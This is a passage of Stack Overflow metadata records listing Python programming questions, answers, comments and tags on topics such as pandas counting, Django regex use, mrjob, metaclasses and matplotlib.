simple that I am overlooking but any help would be appreciated.
type: Question
type: UnansweredQuestion
score: -2
has title: Error: 'str' object is not callable python
answer count: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81682639

http://stackoverflow.com/q/47374849
answer count: 1
tagged with: count
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47374874
type: AnsweredQuestion
tagged with: conditional-statements
has body: I need a count of how many times different variable occur in a dataframe. Here's a representation of the data: df = pd.DataFrame({'game_id': [1, 1, 1, 1, 1, 2, 2, 2, 2, 2], 'event_num': list(range (0,10)), 'event_cd': np.random.randint(25, size = 10)}) Output: event_cd event_num game_id 0 20 0 1 1 0 1 1 2 15 2 1 3 8 3 1 4 10 4 1 5 18 5 2 6 22 6 2 7 7 7 2 8 7 8 2 9 23 9 2 Suppose I have a formula: some_stat = (count(event_cd = 10) + count(event_cd = 14)) / count(event_cd = 2) What would be the most efficient way to go about this? The actual data does contain 24 different event_cd's, and contains roughly 50,000 rows. If possible, the counts also need to correspond to a game_id, so game 1 would have different counts than game 2.
has answer: http://stackoverflow.com/a/47374874
tagged with: pandas
score: 1
tagged with: python
has title: Python Expandable Conditional Count
downvote count: 0

http://stackoverflow.com/q/47382649
type: Question
answer count: 2
has title: Using regular expressions in views.py Django?
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81718064
type: AnsweredQuestion
has body: I have a form in my Django app where one field is called url. The user can add a youtube url. On submit, I want to save only the video id. My views.py look like this: import re def video_new(request): if request.user.is_authenticated(): if request.method == "POST": form = VideoForm(request.POST) if form.is_valid(): video = form.save(commit=False) fullURL = video.url youtubeId = re.sub(r'\shttps://www.youtube.com/watch?v=\s', '',fullURL) video.url = youtubeId video.created_by = request.user video.save() return redirect('videos:video_detail', video_id=video.pk) else: form = VideoForm() else: #if user isn't logged in return redirect('login') return render(request, 'videos/video_edit.html', {'form': form}) When I output youtubeId in the console, I actually see the full Url. So I guess I'm not using re.sub correct. How to use it correctly ?
has comment: http://stackoverflow.com/comment/81718164
has answer: http://stackoverflow.com/a/47382746
has answer: http://stackoverflow.com/a/47382731
accepted answer: http://stackoverflow.com/a/47382746
downvote count: 0
upvote count: 1
score: 1
tagged with: regex
favorite count: 0
possible better answer: http://stackoverflow.com/a/47382731

http://stackoverflow.com/q/47372454
type: Question
type: UnansweredQuestion
tagged with: missing-data
upvote count: 1
tagged with: python
has title: Python mrjob running locally but missing lots of data
answer count: 0
score: 1
has body: I can run python mrjob locally and it's much faster. But when I look into the output results, it's missing data, and lost a lot of data. I'm wondering whether this is because there is a function in my code cost longer time to run, and therefore all the data after that results didn't appear in the output. Here is my mockup code (cannot show real code) and my description: def core_logic(all_records): my_dct = {} for name, single_record in all_records.items(): for i in range(410): if i &lt; 10: my_dct[name]['color'].append('') my_dct[name]['flavor'].append('') my_dct[name]['quality'].append('') else: frozen_ratio = 0.7 if frozen_ratio &lt; 0.5: my_dct[name]['color'].append('') my_dct[name]['flavor'].append('') my_dct[name]['quality'].append('Not Frozen') else: food_score = a_complex_function(single_record[name]) # Problem started here I have a python file that contains map reduce job, and it will call this core_logic function in reducer. After checking the output, I found that, all the food_score is missing, and in order to get this score, I had to call a_complex_function from another file. That is a real complex function and takes time to run. The data input for this core logic all_records is a dictionary. Now I strongly suspect whether this is because when code is running in parallel, in map reduce, if some method takes time to run, the data won't be recorded? But I tried to add time.sleep(2000) after a_complex_function(), the data is still missing. This function normally takes shorter than 2 seconds to finish. I also tried to print out the data in each step, all the previous steps are fine, but just right after a_complex_function(), the data lost I'm running the mapreduce on my own laptop. Through command line python map_reduce_job.py &lt; test_data/test_file.csv &gt; outfile.new Have you ever met this type of problem? Is there any solution?
downvote count: 0
tagged with: mapreduce
tagged with: mrjob
favorite count: 0

http://stackoverflow.com/comment/81691223
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47369125
has text: Perfectly working thank you very much! I can't really understand the algorithm you've used in the cross method although

http://stackoverflow.com/a/48412682
has body: Try this maybe it could help. Install Anaconda2 32/64 python 2 or Install Anaconda3 32/64 python 3 It Depends on System Information Along the way you must check all the options ignore the red text Then wait till installation completed ... Open CMD admin when finish installed Make sure that the anaconda-python is configured in CMD admin Type: python This will come out: C:\WINDOWS\system32>python Python 3.6.3 |Anaconda custom (64-bit)| (default, Oct 15 2017, 03:27:45) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. Next is to install: dlib conda install -c conda-forge dlib = (version optional) (click yes if ok) Same as OpenCV: conda install -c conda-forge opencv = (version optional) (click yes if ok) When all the package is completely installed, then you must Reboot it. go to CMD admin again type "python" import dlib import cv2 then you're done!
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47231605
has comment: http://stackoverflow.com/comment/83815570

http://stackoverflow.com/q/47275073
upvote count: 1
tagged with: cmake
tagged with: gcc
score: 1
has comment: http://stackoverflow.com/comment/81501622
tagged with: python
has body: We have a fairly large framework, which incompasses several CMakeLists.txt files and consists of several shared libraries. In the end we use SWIG to generate a Cython interface. Everything works on MacOS, that is we can compile with cmake and make install and use our framework from within python with import x. Everything also works just fine on Ubuntu using GCC-6. However, when using GCC 7.2.0 (with Ubuntu 17.10) with CMAKE_BUILD_TYPE=Release we get the following error: ImportError: /home/madsohm/.local/lib/libbhc.so: undefined symbol: _ZNSaIlEC1Ev when trying to import. Using CMAKE_BUILD_TYPE=Debug works fine, so it must be the -O3 added by Release that is the culprit. I have tried to search the so-files for the symbol, and got $ scanelf -l -s _ZNSaIlEC1Ev | grep _ZNSaIlEC1Ev ET_DYN _ZNSaIlEC1Ev /usr/lib/libbhxx.so ET_DYN _ZNSaIlEC1Ev /usr/lib/libbhc.so ET_DYN _ZNSaIlEC1Ev /usr/lib/libbh.so when having Debug but only $ scanelf -l -s _ZNSaIlEC1Ev | grep _ZNSaIlEC1Ev ET_DYN _ZNSaIlEC1Ev /usr/lib/libbhc.so with Release. _ZNSaIlEC1Ev demangled is std::allocator&lt;long&gt;::allocator(). Is there anyway I can figure out what the symbol is referring to or where the fault is and what I can do about it?
favorite count: 0
type: Question
tagged with: c++
answer count: 0
type: UnansweredQuestion
has title: Undefined symbol with GCC 7.2.0 and -O3
downvote count: 0

http://stackoverflow.com/a/47345134
upvote count: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47344910
has comment: http://stackoverflow.com/comment/81642061
type: Answer
answers question: http://stackoverflow.com/q/47344910
has body: &gt;&gt;&gt; import datetime &gt;&gt;&gt; start_date = datetime.datetime(2017,11,17,06,17) &gt;&gt;&gt; current_date = datetime.datetime(2017,11,17,13,49) &gt;&gt;&gt; start_date &gt;= current_date # start_date__gte=current_date False Check your filters, change _gte to _lt according to desired logic. From what I see now, start_date is less then current date, so filter expression is working well, you just doing wrong filtering.
score: 2

http://stackoverflow.com/q/47263296
has body: I have a master list and then a whole bunch (100s) of sublists cherry-picked from the master list. However, over time items in the master list will be removed. I want to also remove those items from each of the sublists. I imagine having a list that is only pointers to the master list. As the pointer goes stale then the list gets smaller. The sublists are normally in objects not easily accessible at the point where the master list is edited. Is this possible? master = ["first","last","middle","top","bottom","left","right","inside"] sides = [] sides.append(master[2]) sides.append(master[3]) sides.append(master[4]) centre = [] centre.append(master[0]) centre.append(master[2]) centre.append(master[7]) print(master) ['first', 'last', 'middle', 'top', 'bottom', 'left', 'right', 'inside'] print(sides) ['middle', 'top', 'bottom'] print(centre) ['first', 'middle', 'inside'] master.remove("middle") print(master) ['first', 'last', 'top', 'bottom', 'left', 'right', 'inside'] print(sides) # Ideal outcome ['top', 'bottom'] print(centre) # Ideal outcome ['first', 'inside']
has answer: http://stackoverflow.com/a/47264007
answer count: 4
score: 3
tagged with: list
has answer: http://stackoverflow.com/a/47263486
upvote count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/47263416
has answer: http://stackoverflow.com/a/47271881
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has title: How to make a Python list based on another list
tagged with: python

http://stackoverflow.com/q/47277984
accepted answer: http://stackoverflow.com/a/47285064
tagged with: python
has answer: http://stackoverflow.com/a/47285064
has body: I was trying to get some intuition about metaclass in Python. I have tried on both Python2.7 and and Python3.5. In Python3.5 I found every class we define is of type &lt;class 'type'&gt; whether we explicitly inherit or not. But if not inherited from type we can't use that class as a metaclass for another class. &gt;&gt;&gt; class foo: pass &gt;&gt;&gt; class Metafoo(type): pass &gt;&gt;&gt; foo &lt;class '__main__.foo'&gt; &gt;&gt;&gt; Metafoo &lt;class '__main__.Metafoo'&gt; &gt;&gt;&gt; type(foo) &lt;class 'type'&gt; &gt;&gt;&gt; type(Metafoo) &lt;class 'type'&gt; &gt;&gt;&gt; &gt;&gt;&gt; class foocls1(metaclass=foo): pass doing the above I get the following error: Traceback (most recent call last): File "&lt;pyshell#52&gt;", line 1, in &lt;module&gt; class foocls1(metaclass=foo): TypeError: object() takes no parameters But that is not in the case while using Metafoo as metaclass for the new class &gt;&gt;&gt; class foocls3(metaclass=Metafoo): pass &gt;&gt;&gt; foocls3 &lt;class '__main__.foocls3'&gt; &gt;&gt;&gt; type(foocls3) &lt;class '__main__.Metafoo'&gt; Can anyone explain why this is the case that we need to explicitly inherit if we want to use a class as metaclass in other class.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81506821
tagged with: metaclass
has title: Explicitly inheriting from 'type' to implement metaclass in python3.x
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: oop

http://stackoverflow.com/q/47369490
tagged with: python
has answer: http://stackoverflow.com/a/47369509
tagged with: date
has comment: http://stackoverflow.com/comment/81691911
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47369675
score: 0
linked to: http://stackoverflow.com/q/42950
tagged with: pandas
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has body: How can I create an indicator for last day of the month? Please help I've been struggling on this. Input Dates Item Sales 2017-01-01 Apple 10 2017-01-02 Pear 10 2017-01-31 Apple 10 2017-02-02 Apple 10 2017-01-28 Apple 10 Output Dates Item Sales Last day of month 2017-01-01 Apple 10 No 2017-01-02 Pear 10 No 2017-01-31 Apple 10 Yes 2017-02-02 Apple 10 No 2017-02-28 Apple 10 Yes
answer count: 2
has comment: http://stackoverflow.com/comment/81691464
has answer: http://stackoverflow.com/a/47369675
accepted answer: http://stackoverflow.com/a/47369509
has title: Create a last day of month indicator in python
tagged with: datetime

http://stackoverflow.com/comment/81487230
score: 0
type: QuestionComment
has text: Python 2.7.13 - Flask '0.12.2' - Chrome&Firefox
comment on: http://stackoverflow.com/q/47267685
type: Comment

http://stackoverflow.com/comment/81587668
type: Comment
has text: Where is the `'.'` supposed to come from?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47318189

http://stackoverflow.com/q/47290732
has title: group numbers in an array by step value changes
upvote count: 5
tagged with: arrays
accepted answer: http://stackoverflow.com/a/47293663
downvote count: 0
tagged with: python
possible better answer: http://stackoverflow.com/a/47293220
has answer: http://stackoverflow.com/a/47293663
has body: i have an array like [101, 107, 106, 199, 204, 205, 207, 306, 310, 312, 312, 314, 317, 318, 380, 377, 379, 382, 466, 469, 471, 472, 557, 559, 562, 566, 569...] In this array, after a few integers, there will be a step change in value.(like between [101,107,106] and [199,204,...]) Or put it in another way, the array is made up of groups of integers, each group with values centered around an unknown mean. But i won't know how many groups are there in total ,and the number of integers in each is uncertain. How could i group those integers in each step change into different arrays. Thanks
type: AnsweredQuestion
answer count: 3
has comment: http://stackoverflow.com/comment/81534146
tagged with: grouping
has answer: http://stackoverflow.com/a/47290901
has comment: http://stackoverflow.com/comment/81532486
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47293220
score: 5
tagged with: algorithm

http://stackoverflow.com/q/47382101
has answer: http://stackoverflow.com/a/47382133
possible better answer: http://stackoverflow.com/a/47382133
accepted answer: http://stackoverflow.com/a/47382127
downvote count: 1
has body: I am using Python 2.7. I have a Pandas data frame that looks like raw_data = {'Date': ['12/1/2016', '12/4/2016','12/23/2016', '1/18/2017','1/18/2017','1/19/2017'], 'Account': ['aa1', 'aa2','aa1', 'aa1', 'aa1', 'aa2'], 'Description': ['store1', 'store2','store1', 'store2','store1','store2' ], 'Amount': [26.43, 24.99, 31.54,45.32, 2.00, 15.41], 'Category': ['G','G','G','G','G','G'], 'Initials': ['FR','DB','FR','DB','FR','FR']} df = pd.DataFrame(raw_data, columns = ['Date','Account','Description','Amount','Category','Initials']) I would like to sum by each Description and month so that my data looks like: Date Description Amount Dec 2016 store1 57.97 Dec 2016 store2 24.99 Jan 2017 store1 2.00 Jan 2017 store2 60.73 I have written the below code that sums by month but i am stuck on how to incorporate the Description column. #convert Date to datetimeindex df['Date'] = pd.to_datetime(df['Date']) df = df.set_index('Date') #sum by month df = df.groupby(pd.TimeGrouper("M")).sum() df Any guidance would be much appreciated. Thanks.
type: AnsweredQuestion
tagged with: pandas-groupby
tagged with: pandas
score: 1
tagged with: group-by
has answer: http://stackoverflow.com/a/47382127
tagged with: dataframe
tagged with: python
favorite count: 0
type: Question
has title: Python Pandas Sum on Date and Description
answer count: 2
upvote count: 2

http://stackoverflow.com/comment/120461632
has text: The documentation (https://docs.python.org/3/library/threading.html#thread-objects) says that "Daemon threads are abruptly stopped at shutdown. " - Doesn't this mean that - when the main program finishes the daemon threads are shutdown?
comment on: http://stackoverflow.com/a/47380580
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47239540
answers question: http://stackoverflow.com/q/47238708
score: 0
type: Answer
has body: Here is an arithmetic way: m=np.arange(n*n).reshape(n,n)*n//(n+1) m.flat[::n+1]=-1 for n=5 : [[-1 0 1 2 3] [ 4 -1 5 6 7] [ 8 9 -1 10 11] [12 13 14 -1 15] [16 17 18 19 -1]]

http://stackoverflow.com/comment/81483530
type: Comment
type: QuestionComment
has text: type python, then press enter to enter the python environment.
comment on: http://stackoverflow.com/q/47266319
score: 0

http://stackoverflow.com/q/47226172
upvote count: 2
possible better answer: http://stackoverflow.com/a/55728959
tagged with: matplotlib
downvote count: 0
has comment: http://stackoverflow.com/comment/81402777
favorite count: 0
tagged with: jupyter-notebook
type: Question
has comment: http://stackoverflow.com/comment/81402649
has answer: http://stackoverflow.com/a/55728959
tagged with: python
has body: I'm trying to get my jupyter/python/%matplotlib charts to work with a dark background. I want to set a white background color for the full image rather than the default transparent. %matplotlib notebook import matplotlib.pyplot as plt fig, ax = plt.subplots() fig.savefig('dummy.png', facecolor='w', transparent=False) The standard response is to use facecolor, but that isn't doing the trick here.
accepted answer: http://stackoverflow.com/a/47226414
has title: matplotlib inline facecolor not working on savefig
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/47226414
answer count: 2

http://stackoverflow.com/q/47343252
linked to: http://stackoverflow.com/q/6822725
answer count: 1
duplicate of: http://stackoverflow.com/q/6822725
has title: How to find where a specific sequence of numbers in a list starts?
type: Question
has comment: http://stackoverflow.com/comment/81638610
score: 0
tagged with: algorithm
has comment: http://stackoverflow.com/comment/81638920
tagged with: python
has answer: http://stackoverflow.com/a/47343354
has comment: http://stackoverflow.com/comment/81638568
has comment: http://stackoverflow.com/comment/81638698
tagged with: python-3.x
tagged with: list
tagged with: sequences
has body: I couldn't find an answer for this, I'm a novice programmer so sorry about this dumb question! Say in python I want to find where the first time the sequence [69, 69] appears in the list [34,34,34,50,39,69,69,54]. Is there a list notation for this? I feel like there is, but I haven't been able to find it. I'm not looking to make a function, I want to learn list/for methods. so if a = [34,34,34,50,39,69,69,54] how would I find where [69,69] starts? (as a general statement) If I assume that [69,69] is in fact in a?
has comment: http://stackoverflow.com/comment/81638802
type: UnansweredQuestion

http://stackoverflow.com/q/47240957
score: 7
tagged with: dynamic-programming
has body: Given a matrix of order n*n. I need to find the length of the largest sorted sub-matrix (sorted both in row-wise and column-wise manner in increasing order). I made the following code which is not giving out the correct output because of some error in my logic. My pseudo code: arr=[map(int,raw_input().split()) for j in range(n)] #given list a=[[0 for j in range(n)]for i in range(n)] #empty list a[0][0]=1 for i in range(n): for j in range(1,n): if i==0 and arr[i][j-1]&lt;=arr[i][j]: #compare list element with the right element a[i][j-1]=a[i][j-1]+1 if i&gt;0 and arr[i][j-1]&gt;=arr[i-1][j-1]: #compare list element with the top for i&gt;0 a[i][j-1]=a[i-1][j-1]+1 if i&gt;0 and arr[i][j-1]&lt;=arr[i][j]: #compare the same element with the right element for i&gt;0 a[i][j-1]=a[i][j-1]+1 print maximum number present in a Given array: 2 5 3 8 3 1 4 6 8 4 3 6 7 9 5 1 3 6 4 2 2 6 4 3 1 expected output=8 (length of maximum sorted sub-matrix) 1 4 6 8 3 6 7 9 is the sub-matrix which is sorted both row-wise and column-wise What should be my approach?
favorite count: 0
has comment: http://stackoverflow.com/comment/81433082
possible better answer: http://stackoverflow.com/a/67662980
type: Question
tagged with: algorithm
has answer: http://stackoverflow.com/a/47241547
tagged with: python
has title: How to find the Largest sorted sub matrix (sorted row-wise as well as column-wise) of a given matrix?
has comment: http://stackoverflow.com/comment/81433376
has answer: http://stackoverflow.com/a/67662980
tagged with: c++
type: AnsweredQuestion
answer count: 2
downvote count: 0
upvote count: 7
accepted answer: http://stackoverflow.com/a/47241547

http://stackoverflow.com/comment/81574402
comment on: http://stackoverflow.com/a/47310451
score: 0
type: AnswerComment
has text: I'll give it a try Thank You very much, but wow, very complex eheh
type: Comment

http://stackoverflow.com/q/47310576
favorite count: 0
has answer: http://stackoverflow.com/a/74350463
has comment: http://stackoverflow.com/comment/81624664
has answer: http://stackoverflow.com/a/47310748
has comment: http://stackoverflow.com/comment/81623615
has body: I have a file 'train.py' which takes command line arguments to run. Some arguments are necessary and some are optional For Example. .\train.py --counter arg1 --opt optional_arg Now, I would like to write a new file called 'script.py' which will import this 'train.py' and pass the argumets in that script and execute 'train.py' in 'script.py' I need to do this as I want to give different set of arguments each time to train.py. I know we can do this using a shell script. I am curious about how to do it using a python script. train.py import optparse optparser = optparse.OptionParser() optparser.add_option( "--counter", default = "", help = "Counter value" ) optparser.add_option( "--opt", default = "", help = "Optinal parameter" ) '''Do Something''' script.py args = { '--counter':'' '--opts':'' } lst = [ 1, 2, 3] for counter in lst: '''set command line arguments here in args dictionary''' args['--counter'] = counter '''run train.py with args as input dictionary'''
upvote count: 5
has answer: http://stackoverflow.com/a/47311033
has title: How to pass command line arguments to a python file from a script
answer count: 4
type: Question
has comment: http://stackoverflow.com/comment/81621350
has answer: http://stackoverflow.com/a/47432639
linked to: http://stackoverflow.com/q/38722105
tagged with: python-3.x
score: 5
has comment: http://stackoverflow.com/comment/115562477
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/81572175
tagged with: python

http://stackoverflow.com/tag/csv
tags question: http://stackoverflow.com/q/47300240
tags question: http://stackoverflow.com/q/47227343
type: Tag
tags question: http://stackoverflow.com/q/47312554
tags question: http://stackoverflow.com/q/47312882
tags question: http://stackoverflow.com/q/47250314
tags question: http://stackoverflow.com/q/47333399
tags question: http://stackoverflow.com/q/47372961
tags question: http://stackoverflow.com/q/47341506
tags question: http://stackoverflow.com/q/47262532
tags question: http://stackoverflow.com/q/47319591
tags question: http://stackoverflow.com/q/47365228
tags question: http://stackoverflow.com/q/47273017
tags question: http://stackoverflow.com/q/47288737
tags question: http://stackoverflow.com/q/47287016
tags question: http://stackoverflow.com/q/47354354
tags question: http://stackoverflow.com/q/47300007
tags question: http://stackoverflow.com/q/47342718
tags question: http://stackoverflow.com/q/47325479
tags question: http://stackoverflow.com/q/47339698
tags question: http://stackoverflow.com/q/47270623
tags question: http://stackoverflow.com/q/47299037
tags question: http://stackoverflow.com/q/47298329
tag name: csv
tags question: http://stackoverflow.com/q/47276227
tags question: http://stackoverflow.com/q/47330674
tags question: http://stackoverflow.com/q/47366059
tags question: http://stackoverflow.com/q/47339991
tags question: http://stackoverflow.com/q/47314902
tags question: http://stackoverflow.com/q/47326321
tags question: http://stackoverflow.com/q/47299303
tags question: http://stackoverflow.com/q/47302058
tags question: http://stackoverflow.com/q/47312082
tags question: http://stackoverflow.com/q/47298051
tags question: http://stackoverflow.com/q/47374290
tags question: http://stackoverflow.com/q/47237306
tags question: http://stackoverflow.com/q/47247795
tags question: http://stackoverflow.com/q/47370182
tags question: http://stackoverflow.com/q/47350549
tags question: http://stackoverflow.com/q/47246463
tags question: http://stackoverflow.com/q/47226399
tags question: http://stackoverflow.com/q/47319526
tags question: http://stackoverflow.com/q/47278349
tags question: http://stackoverflow.com/q/47273057
tags question: http://stackoverflow.com/q/47365601
tags question: http://stackoverflow.com/q/47275135
tags question: http://stackoverflow.com/q/47276201
tags question: http://stackoverflow.com/q/47242331
tags question: http://stackoverflow.com/q/47274094
tags question: http://stackoverflow.com/q/47359066
tags question: http://stackoverflow.com/q/47248727
tags question: http://stackoverflow.com/q/47286547
tags question: http://stackoverflow.com/q/47232843
tags question: http://stackoverflow.com/q/47260451
tags question: http://stackoverflow.com/q/47316737
tags question: http://stackoverflow.com/q/47288025
tags question: http://stackoverflow.com/q/47304837
tags question: http://stackoverflow.com/q/47283491
tags question: http://stackoverflow.com/q/47266821
tags question: http://stackoverflow.com/q/47224216
tags question: http://stackoverflow.com/q/47246560
tags question: http://stackoverflow.com/q/47296513
tags question: http://stackoverflow.com/q/47336646
tags question: http://stackoverflow.com/q/47314558
tags question: http://stackoverflow.com/q/47239444
tags question: http://stackoverflow.com/q/47266400
tags question: http://stackoverflow.com/q/47304422
tags question: http://stackoverflow.com/q/47336108
tags question: http://stackoverflow.com/q/47337486
tags question: http://stackoverflow.com/q/47341762
tags question: http://stackoverflow.com/q/47261515
tags question: http://stackoverflow.com/q/47375150
tags question: http://stackoverflow.com/q/47250123
tags question: http://stackoverflow.com/q/47351265
tags question: http://stackoverflow.com/q/47272523
tags question: http://stackoverflow.com/q/47333227
tags question: http://stackoverflow.com/q/47234816
tags question: http://stackoverflow.com/q/47380195
tags question: http://stackoverflow.com/q/47359425
tags question: http://stackoverflow.com/q/47282928

http://stackoverflow.com/q/47264196
type: Question
tagged with: visual-studio-code
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/81479569
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47381497
has comment: http://stackoverflow.com/comment/81531484
has body: I'm using VSCode on OSX to start python development. I'm supposed to be using python 3.6.xxxx but when I use python -V i get 2.7.10 My path variable is bash: /Library/Frameworks/Python.framework/Versions/3.6/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/share/dotnet:/Library/Frameworks/Mono.framework/Versions/Current/Commands:/Users/leonardo/.rbenv/shims:/Library/Frameworks/Python.framework/Versions/3.6/bin:/Users/leonardo/bin:/Users/leonardo/bin: No such file or directory I also can't get pylint to work on VSCode because, when i try to install it, i complains that pip is unavailable... what should i do?
score: 1
tagged with: macos
accepted answer: http://stackoverflow.com/a/47381497
has title: How to force python 3.6 on MAC OSX

http://stackoverflow.com/comment/81418696
comment on: http://stackoverflow.com/q/47234002
type: QuestionComment
has text: If you use the Python installer, it should have asked you if you wanted Python added to your path. Sounds like that didn't happen for some reason. You can do it manually by editing your system environment variables and adding a path to `python.exe` to the existing `PATH` variable. I think this is done by editing your computer's "Properities".
type: Comment
score: 0

http://stackoverflow.com/comment/81589915
has text: I tried the second two methods but both did not work - I have switched to using chrome and chromedriver which worked instantly.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47316536
type: Comment

bulkinsert
type: Tag
tag name: bulkinsert
tags question: http://stackoverflow.com/q/47350977

http://stackoverflow.com/q/47299665
score: 0
has title: Keras: load image in generator vs load image outside of generator
has answer: http://stackoverflow.com/a/47305471
answer count: 1
type: Question
has body: in the following script I want to train a CNN with mnist data. The data is in the dataset_dir and all images are .png. The labels are the folders of the images. Now I want to train the CNN with a generator, which gets the imagepaths and the labels. from __future__ import print_function import cv2, numpy as np import random, os, glob, time import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten from keras.layers import Conv2D, MaxPooling2D dataset_dir = '/home/viktor/PycharmProjects/Datasets/mnist_png/training/**/*.png' #lies alle bilder ein, egal ob train oder test set, wir splitten spaeter NUM_CLASSES = 10 BATCH_SIZE = 128 NUM_EPOCHS = 1 def paths_and_labels(dataset_dir): # dataset_dir = '/home/viktor/PycharmProjects/Datasets/mnist_png/training/**/*.png' # dataset_dir soll so aussehen, die zwei ** sind die klassennamen, ordner** ist also ordner_auto, ordner_person,... paths = glob.glob(dataset_dir) labels = [] labels.append([os.path.basename(os.path.dirname(path)) for path in paths]) labels = labels[0] #labels als string class_names = list(set(labels)) # welche klassen gibt es, string labels_classes = np.zeros([len(labels)], dtype=int) for i, class_name in enumerate(class_names): class_index = [j for j, x in enumerate(labels) if x == class_name] labels_classes[class_index] = i # labels als int, um die klasse als string zu bekommen, mach = class_names[labels_class[nr]] paths_and_labels_classes = list(zip(paths, labels_classes)) random.shuffle(paths_and_labels_classes) paths, labels_classes = zip(*paths_and_labels_classes) train_paths = paths[0:int(0.6 * len(paths))] train_labels = labels_classes[0:int(0.6 * len(labels_classes))] test_paths = paths[int(0.8 * len(paths)):] test_labels = labels_classes[int(0.8 * len(labels_classes)):] val_paths = paths[int(0.6 * len(paths)):int(0.8 * len(paths))] val_labels = labels_classes[int(0.6 * len(paths)):int(0.8 * len(paths))] return train_paths, train_labels, test_paths, test_labels, v…
type: UnansweredQuestion
tagged with: machine-learning
tagged with: python
tagged with: keras
tagged with: generator

http://stackoverflow.com/comment/81596980
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47322846
has text: You could also try putting `Defaults always_set_home` in sudoers file (`sudo visudo`)

http://stackoverflow.com/comment/81604192
score: 2
comment on: http://stackoverflow.com/q/47326638
has text: I think the duplicate mark is not correct. The linked question is asking for the key with max value - yes - but this one adds the dictionary slice to it.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81604653
type: QuestionComment
comment on: http://stackoverflow.com/q/47326876
has text: Presumably this is is the [CY.SEND mobile recharge API](https://www.cysend.com/merchant/en/b2b-mobile-recharge-api) or a similar service? Including a link to the API documentation would let me help you much better, because then we can confirm any hypothesis.
score: 1
type: Comment

http://stackoverflow.com/a/47292536
has comment: http://stackoverflow.com/comment/81558779
score: 1
accepted answer of: http://stackoverflow.com/q/47292229
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81558663
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/47292229
has body: The problem is that the axes is not added to the figure. Usually you would add an axes via any of the figure's methods, like fig.add_axes() or fig.add_subplot() Doing that here, e.g. ax = fig.add_subplot(111) # instead of ax = Axes(fig, [0.1,0.1,0.5,0.7]) gives you the desired output. There is really no reason not to use those methods. If you instantiate the Axes yourself, you need to call it ax = Axes(fig, [0.1,0.1,0.5,0.7]) fig.add_axes(ax) but this is really just one extra line and no benefit compared to ax = fig.add_axes([0.1,0.1,0.5,0.7])
downvote count: 0

hbase
tags question: http://stackoverflow.com/q/47315224
type: Tag
tag name: hbase

http://stackoverflow.com/q/47233843
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47233894
answer count: 2
has body: Whenever I run the function to calculate the percentage of scores above the average I get the output 56.301. The correct answer should be 34. The average is 54.8415588235294. #This function calls on the data file def get_meet_scores_from_file(): input_file = open('state_meet.txt','r') all_around_points = [] aline = input_file.readline() while aline: values = aline.split(',') all_around_points.append(float(values[2])) aline = input_file.readline() input_file.close() return all_around_points #This function calculates the average. def average_scores(score_list): average_of_scores = 0 list_length = len(score_list) for index in range (list_length): list_item = score_list[index] average_of_scores = average_of_scores + (list_item / list_length) return average_of_scores # This is the function that is causing the problem. #I am trying to get the code to count the number of scores above the average [enter link description here][1]so I can continue and with the code to determine the percentage. def percentage_above_average(score_list,average): above_average = score_list[0] for i in range(int(above_average)): if above_average &gt; average: above_average = above_average + 1 return above_average
upvote count: 2
tagged with: function
has comment: http://stackoverflow.com/comment/81418311
has answer: http://stackoverflow.com/a/47233898
score: 1
has title: The percentage of scores above the average . This function should accept two parameters: the list of scores and the average
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/47277515
score: -6
type: Question
has answer: http://stackoverflow.com/a/47617263
upvote count: 1
tagged with: python
type: UnansweredQuestion
tagged with: counting
answer count: 1
has body: This would be fairly easy in Java since there are curly braces that are required for beginning and ending that code block and so I could write a program to look for the curly braces and label each function. The problem I'm having with Python is finding some sort of marker that tells me when a function ends. I'm guessing one solution would be to figure out some scheme to detect the '\t' for each line. What are some methods for determining the beginning of a function block and it's end?
has comment: http://stackoverflow.com/comment/81518848
has comment: http://stackoverflow.com/comment/81506059
has title: Automatic detection of indented blocks for Python code
downvote count: 7
favorite count: 0
tagged with: lines-of-code

http://stackoverflow.com/comment/81571432
type: Comment
comment on: http://stackoverflow.com/q/47310342
score: 0
type: QuestionComment
has text: if you have one email per line, you can simply check `if '@aun.edu.ng' in m:`

http://stackoverflow.com/comment/81434724
type: Comment
has text: And if there's a '.' in part of the path name?
type: AnswerComment
score: 2
comment on: http://stackoverflow.com/a/47242079

tensorflow-serving
tags question: http://stackoverflow.com/q/47318271
tag name: tensorflow-serving
type: Tag
tags question: http://stackoverflow.com/q/47319291
tags question: http://stackoverflow.com/q/47342212
tags question: http://stackoverflow.com/q/47261561

http://stackoverflow.com/q/47309621
downvote count: 0
tagged with: dataset
tagged with: python
score: 2
type: AnsweredQuestion
